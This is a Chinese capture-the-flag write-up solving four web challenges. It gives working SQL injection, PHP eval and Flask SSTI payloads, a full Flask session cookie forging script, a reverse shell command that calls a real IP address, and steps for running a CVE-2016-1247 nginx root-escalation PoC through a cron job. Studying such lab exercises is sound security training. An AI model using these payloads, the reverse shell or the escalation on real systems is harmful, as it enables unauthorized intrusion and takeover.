登录就有flag签退蓝瘦出题人不想跟你说话.jpg
登录就有flag
经过一番固定的注入尝试发现 1:长度限制为5 2:存在过滤且过滤的字符会有回显 能留下来的字符很少这里列出 # ' ^ = > < . ,
在排除一下 =><可以只留等于号, 逗号和点号暂时没想出来怎么利用,所以可用的字符还有# ' ^ =
号可以用于闭合,井号可以用于注释,^进行异或运算,等号就是判等,这里需要利用sql的一个点“mysql弱类型转换” 空异或0会查到所有非数字开头的记录,转换一下还有好几种结果:
payload:
'^0# '^''#
签退
变量覆盖
payload:
?S=a;system("ls");
可知 eval里面的内容为 ("a;system('ls')")
蓝瘦
flask session 加解密
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
剩下的就是ssti了说flag在内存,那么查看环境变量:Linux查看环境变量使用env命令显示所有的环境变量
payload:
?ctfshow={{config.__class__.__init__.__globals__['os'].popen('env').read()}}
出题人不想跟你说话.jpg
根据图片 连接 密码为 cai
权限不够 不能读flag
根据提示知道要提权 ,提示还说漏洞俩分钟触发一次,猜测可能有定时任务可以利用
cat/etc/crontab
根据这个任务 在网上各种搜索 发现
[nginx权限提升] https://blog.knownsec.com/2016/11/nginx-exploit-deb-root-privesc-cve-2016-1247/
查看版本在此列
1.反弹shell
攻击机: netcat -lvvp 2333
受害机: bash -i >& /dev/tcp/82.156.168.16/2333 0>&1
2.下载对应POC上传到服务器(nginx.sh)
注意:创建POC需要在linux系统中创建,否则运行时会报错“/bin/bash^M: bad interpreter: No such file or directory”,这是由于脚本文件的格式不同,linux却是只能执行格式为unix格式的脚本。如果在windows下创建则会变成dos格式。
通过cat -A filename查看格式,dos格式的文件行尾为^M$ ,unix格式的文件行尾为$。 或者可以直接改 vi模式打开 :set ff=unix
上传后运行POC(一定在自己的html文件目录下)
chmod +x nginx.sh
./nginx.sh
./nginx.sh /var/log/nginx/error.log
接着等待漏洞触发即可